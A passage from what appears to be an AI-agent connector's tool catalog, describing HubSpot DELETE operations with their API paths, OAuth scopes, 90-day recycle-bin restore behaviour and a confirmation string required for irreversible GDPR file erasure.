Calls DELETE /crm/v3/lists/{listId}/memberships on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. DELETE /api/v1/hubspot/crm/v3/lists/{listId}/memberships. Scopes: crm.lists.read, crm.lists.write. hubspot_delete_crm_v3_lists_by_listid_schedule_conversion (write, destructive) — DESTRUCTIVE. Cancel the conversion of a list. Delete an existing scheduled conversion for a list. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls DELETE /crm/v3/lists/{listId}/schedule-conversion on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. DELETE /api/v1/hubspot/crm/v3/lists/{listId}/schedule-conversion. Scopes: crm.lists.read, crm.lists.write. hubspot_delete_crm_v3_lists_folders_by_folderid (write, destructive) — DESTRUCTIVE. Deletes a folder. Deletes the folder with the given Id. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls DELETE /crm/v3/lists/folders/{folderId} on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. DELETE /api/v1/hubspot/crm/v3/lists/folders/{folderId}. Scopes: crm.lists.read, crm.lists.write. hubspot_delete_crm_v3_objects_0_162_by_serviceid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{serviceId}` to the recycling bin. Services are the service object type. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/0-162/{serviceId} on api.hubapi.com. Requires the HubSpot scope crm.objects.services.write. DELETE /api/v1/hubspot/crm/v3/objects/0-162/{serviceId}. Scopes: crm.objects.services.write. hubspot_delete_crm_v3_objects_0_3_by_dealid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{dealId}` to the recycling bin. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/0-3/{dealId} on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. DELETE /api/v1/hubspot/crm/v3/objects/0-3/{dealId}. Scopes: crm.objects.deals.write. hubspot_delete_crm_v3_objects_0_410_by_courseid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{courseId}` to the recycling bin. Courses are the education object type. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/0-410/{courseId} on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.write. DELETE /api/v1/hubspot/crm/v3/objects/0-410/{courseId}. Scopes: crm.objects.courses.write. hubspot_delete_crm_v3_objects_0_420_by_listingid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{listingId}` to the recycling bin. Listings are the real-estate object type. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/0-420/{listingId} on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.write. DELETE /api/v1/hubspot/crm/v3/objects/0-420/{listingId}. Scopes: crm.objects.listings.write. hubspot_delete_crm_v3_objects_by_objecttype_by_objectid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{objectId}` to the recycling bin. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/{objectType}/{objectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. DELETE /api/v1/hubspot/crm/v3/objects/{objectType}/{objectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_delete_crm_v3_objects_calls_by_callid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{callId}` to the recycling bin. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/calls/{callId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/calls/{callId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_carts_by_cartid (write, destructive) — DESTRUCTIVE. Delete a cart. Move an Object identified by `{cartId}` to the recycling bin. Carts are the Commerce Hub basket object. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/carts/{cartId} on api.hubapi.com. Requires the HubSpot scope crm.objects.carts.write. DELETE /api/v1/hubspot/crm/v3/objects/carts/{cartId}. Scopes: crm.objects.carts.write. hubspot_delete_crm_v3_objects_commerce_payments_by_commercepaymentid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{commercePaymentId}` to the recycling bin. Payments recorded against invoices, subscriptions and payment links. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/commerce_payments/{commercePaymentId} on api.hubapi.com. Requires the HubSpot scope crm.objects.commercepayments.write. DELETE /api/v1/hubspot/crm/v3/objects/commerce_payments/{commercePaymentId}. Scopes: crm.objects.commercepayments.write. hubspot_delete_crm_v3_objects_communications_by_communicationid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{communicationId}` to the recycling bin. Communications are the SMS, WhatsApp and LinkedIn message engagements. Gated on the contacts scope. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/communications/{communicationId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/communications/{communicationId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_companies_by_companyid (write, destructive) — DESTRUCTIVE. Archive a company. Delete a company by ID. Deleted companies can be restored within 90 days of deletion. Learn more about [restoring records](https://knowledge.hubspot.com/records/restore-deleted-records). Companies are the organisations contacts belong to. A company id is what associates a deal with an account. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/companies/{companyId} on api.hubapi.com. Requires the HubSpot scope crm.objects.companies.write. DELETE /api/v1/hubspot/crm/v3/objects/companies/{companyId}. Scopes: crm.objects.companies.write. hubspot_delete_crm_v3_objects_contacts_by_contactid (write, destructive) — DESTRUCTIVE. Archive a contact. Delete a contact by ID. Deleted contacts can be restored within 90 days of deletion. Learn more about the [data impacted by contact deletions](https://knowledge.hubspot.com/privacy-and-consent/understand-restorable-and-permanent-contact-deletions) and how to [restore archived records](https://knowledge.hubspot.com/records/restore-deleted-records). Contacts are people. Every engagement, list membership and deal association hangs off a contact id, so the contact reads are usually the first call of a HubSpot session. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/contacts/{contactId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/contacts/{contactId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_discounts_by_discountid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{discountId}` to the recycling bin. Discounts applied to quotes, invoices and orders. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/discounts/{discountId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. DELETE /api/v1/hubspot/crm/v3/objects/discounts/{discountId}. Scopes: crm.objects.line_items.write. hubspot_delete_crm_v3_objects_emails_by_emailid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{emailId}` to the recycling bin. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/emails/{emailId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/emails/{emailId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_fees_by_feeid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{feeId}` to the recycling bin. Fees applied to quotes, invoices and orders. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/fees/{feeId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. DELETE /api/v1/hubspot/crm/v3/objects/fees/{feeId}. Scopes: crm.objects.line_items.write. hubspot_delete_crm_v3_objects_goal_targets_by_goaltargetid (write, destructive) — DESTRUCTIVE. Delete a goal target. Move an Object identified by `{goalTargetId}` to the recycling bin. Goal targets are the per-owner sales targets Sales Hub reports against. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/goal_targets/{goalTargetId} on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.write. DELETE /api/v1/hubspot/crm/v3/objects/goal_targets/{goalTargetId}. Scopes: crm.objects.goals.write. hubspot_delete_crm_v3_objects_invoices_by_invoiceid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{invoiceId}` to the recycling bin. Invoices are the Commerce Hub billing document. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/invoices/{invoiceId} on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.write. DELETE /api/v1/hubspot/crm/v3/objects/invoices/{invoiceId}. Scopes: crm.objects.invoices.write. hubspot_delete_crm_v3_objects_leads_by_leadsid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{leadsId}` to the recycling bin. Leads are the Sales Hub prospecting object that sits in front of a contact. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/leads/{leadsId} on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.write. DELETE /api/v1/hubspot/crm/v3/objects/leads/{leadsId}. Scopes: crm.objects.leads.write. hubspot_delete_crm_v3_objects_line_items_by_lineitemid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{lineItemId}` to the recycling bin. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/line_items/{lineItemId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. DELETE /api/v1/hubspot/crm/v3/objects/line_items/{lineItemId}. Scopes: crm.objects.line_items.write. hubspot_delete_crm_v3_objects_meetings_by_meetingid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{meetingId}` to the recycling bin. Meeting engagements on a record's timeline. Gated on the contacts scope. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/meetings/{meetingId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/meetings/{meetingId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_notes_by_noteid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{noteId}` to the recycling bin. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/notes/{noteId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/notes/{noteId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_orders_by_orderid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{orderId}` to the recycling bin. Orders are the Commerce Hub order object. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/orders/{orderId} on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.write. DELETE /api/v1/hubspot/crm/v3/objects/orders/{orderId}. Scopes: crm.objects.orders.write. hubspot_delete_crm_v3_objects_postal_mail_by_postalmailid (write, destructive) — DESTRUCTIVE. Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/postal_mail/{postalMailId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/postal_mail/{postalMailId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_products_by_productid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{productId}` to the recycling bin. Products are the product library entries line items are created from. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/products/{productId} on api.hubapi.com. Requires the HubSpot scope crm.objects.products.write. DELETE /api/v1/hubspot/crm/v3/objects/products/{productId}. Scopes: crm.objects.products.write. hubspot_delete_crm_v3_objects_quotes_by_quoteid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{quoteId}` to the recycling bin. Quotes are the customer-facing priced document generated from a deal and its line items. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/quotes/{quoteId} on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.write. DELETE /api/v1/hubspot/crm/v3/objects/quotes/{quoteId}. Scopes: crm.objects.quotes.write. hubspot_delete_crm_v3_objects_tasks_by_taskid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{taskId}` to the recycling bin. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/tasks/{taskId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/v3/objects/tasks/{taskId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_v3_objects_taxes_by_taxid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{taxId}` to the recycling bin. Taxes applied to quotes, invoices and orders. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/taxes/{taxId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. DELETE /api/v1/hubspot/crm/v3/objects/taxes/{taxId}. Scopes: crm.objects.line_items.write. hubspot_delete_crm_v3_objects_tickets_by_ticketid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{ticketId}` to the recycling bin. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/tickets/{ticketId} on api.hubapi.com. Requires the HubSpot scope tickets. DELETE /api/v1/hubspot/crm/v3/objects/tickets/{ticketId}. Scopes: tickets. hubspot_delete_crm_v3_objects_users_by_userid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{userId}` to the recycling bin. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v3/objects/users/{userId} on api.hubapi.com. Requires the HubSpot scope crm.objects.users.write. DELETE /api/v1/hubspot/crm/v3/objects/users/{userId}. Scopes: crm.objects.users.write. hubspot_delete_crm_v3_pipelines_by_objecttype_by_pipelineid (write, destructive) — DESTRUCTIVE. Delete a pipeline. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls DELETE /crm/v3/pipelines/{objectType}/{pipelineId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. DELETE /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_delete_crm_v3_pipelines_by_objecttype_by_pipelineid_stages_by_stageid (write, destructive) — DESTRUCTIVE. Delete a pipeline stage. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls DELETE /crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. DELETE /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_delete_crm_v3_properties_by_objecttype_by_propertyname (write, destructive) — DESTRUCTIVE. Archive a property. Move a property identified by {propertyName} to the recycling bin. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls DELETE /crm/v3/properties/{objectType}/{propertyName} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. DELETE /api/v1/hubspot/crm/v3/properties/{objectType}/{propertyName}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_delete_crm_v3_properties_by_objecttype_groups_by_groupname (write, destructive) — DESTRUCTIVE. Archive a property group. Move a property group identified by {groupName} to the recycling bin. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls DELETE /crm/v3/properties/{objectType}/groups/{groupName} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. DELETE /api/v1/hubspot/crm/v3/properties/{objectType}/groups/{groupName}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_delete_crm_v4_objects_by_objecttype_by_objectid_associations_by_toobjecttype_by_toobjectid (write, destructive) — DESTRUCTIVE. Delete associations between two records. deletes all associations between two records. Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/v4/objects/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. DELETE /api/v1/hubspot/crm/v4/objects/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_delete_files_v3_files_by_fileid (write, destructive) — DESTRUCTIVE. Delete file by ID. Delete a file by ID The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls DELETE /files/v3/files/{fileId} on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. DELETE /api/v1/hubspot/files/v3/files/{fileId}. Scopes: files.ui_hidden.write. hubspot_delete_files_v3_files_by_fileid_gdpr_delete (write, destructive) — DESTRUCTIVE. GDPR-delete file. Delete a file in accordance with GDPR regulations. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. There is NO undo and no recovery. This is not the ordinary file delete: it erases the file and its stored copies to satisfy a GDPR erasure request, and nothing restores it. Prefer the ordinary file delete unless a subject-erasure request is the reason for the call. Requires confirm="erase-this-file-permanently" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls DELETE /files/v3/files/{fileId}/gdpr-delete on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. DELETE /api/v1/hubspot/files/v3/files/{fileId}/gdpr-delete. Scopes: files.ui_hidden.write. hubspot_delete_files_v3_folders_by_folderid (write, destructive) — DESTRUCTIVE. Delete folder by ID. Delete folder by ID. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls DELETE /files/v3/folders/{folderId} on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. DELETE /api/v1/hubspot/files/v3/folders/{folderId}. Scopes: files.ui_hidden.write. hubspot_delete_files_v3_folders_by_folderpath (write, destructive) — DESTRUCTIVE. Delete folder by path. Delete a folder, identified by its path. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls DELETE /files/v3/folders/{folderPath} on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. DELETE /api/v1/hubspot/files/v3/folders/by-path/{folderPath}. Scopes: files.ui_hidden.write. hubspot_delete_marketing_v3_campaigns_by_campaignguid (write, destructive) — DESTRUCTIVE. Delete campaign. Delete a specified campaign from the system. This call will return a 204 No Content response regardless of whether the campaignGuid provided corresponds to an existing campaign or not. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls DELETE /marketing/v3/campaigns/{campaignGuid} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. DELETE /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}. Scopes: marketing.campaigns.write. hubspot_delete_marketing_v3_campaigns_by_campaignguid_assets_by_assettype_by_assetid (write, destructive) — DESTRUCTIVE. Remove asset association. Disassociate a specified asset from a campaign. Using the API, you can remove associations for the following asset types: ads, blog posts, calls, case studies, CTAs, CTAs (legacy), external website pages, feedback surveys, forms, files, knowledge base articles, landing pages, marketing email, marketing events, meetings, playbooks, podcast episodes, sales documents, sales emails, sequences, SMS, social posts, static lists, videos, website pages, and workflows. For other asset types, it is recommended to manage your... Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls DELETE /marketing/v3/campaigns/{campaignGuid}/assets/{assetType}/{assetId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. DELETE /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/assets/{assetType}/{assetId}. Scopes: marketing.campaigns.write. hubspot_delete_marketing_v3_campaigns_by_campaignguid_budget_by_budgetid (write, destructive) — DESTRUCTIVE. Delete budget item. Delete a specific budget item by ID Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls DELETE /marketing/v3/campaigns/{campaignGuid}/budget/{budgetId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. DELETE /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/budget/{budgetId}. Scopes: marketing.campaigns.write. hubspot_delete_marketing_v3_campaigns_by_campaignguid_spend_by_spendid (write, destructive) — DESTRUCTIVE. Delete campaign spend item. Delete a specific campaign spend item by ID Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls DELETE /marketing/v3/campaigns/{campaignGuid}/spend/{spendId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. DELETE /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/spend/{spendId}. Scopes: marketing.campaigns.write. hubspot_delete_marketing_v3_emails_by_emailid (write, destructive) — DESTRUCTIVE. Delete a marketing email. Delete a marketing email by its ID Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls DELETE /marketing/v3/emails/{emailId} on api.hubapi.com. Requires the HubSpot scope marketing.email.write. DELETE /api/v1/hubspot/marketing/v3/emails/{emailId}. Scopes: marketing.email.write. hubspot_delete_marketing_v3_forms_by_formid (write, destructive) — DESTRUCTIVE. Archive a form definition. Archive a form definition. New submissions will not be accepted and the form definition will be permanently deleted after 3 months. Marketing forms and their field definitions. Reading a form tells an agent which fields a submission may carry. Calls DELETE /marketing/v3/forms/{formId} on api.hubapi.com. Requires the HubSpot scope 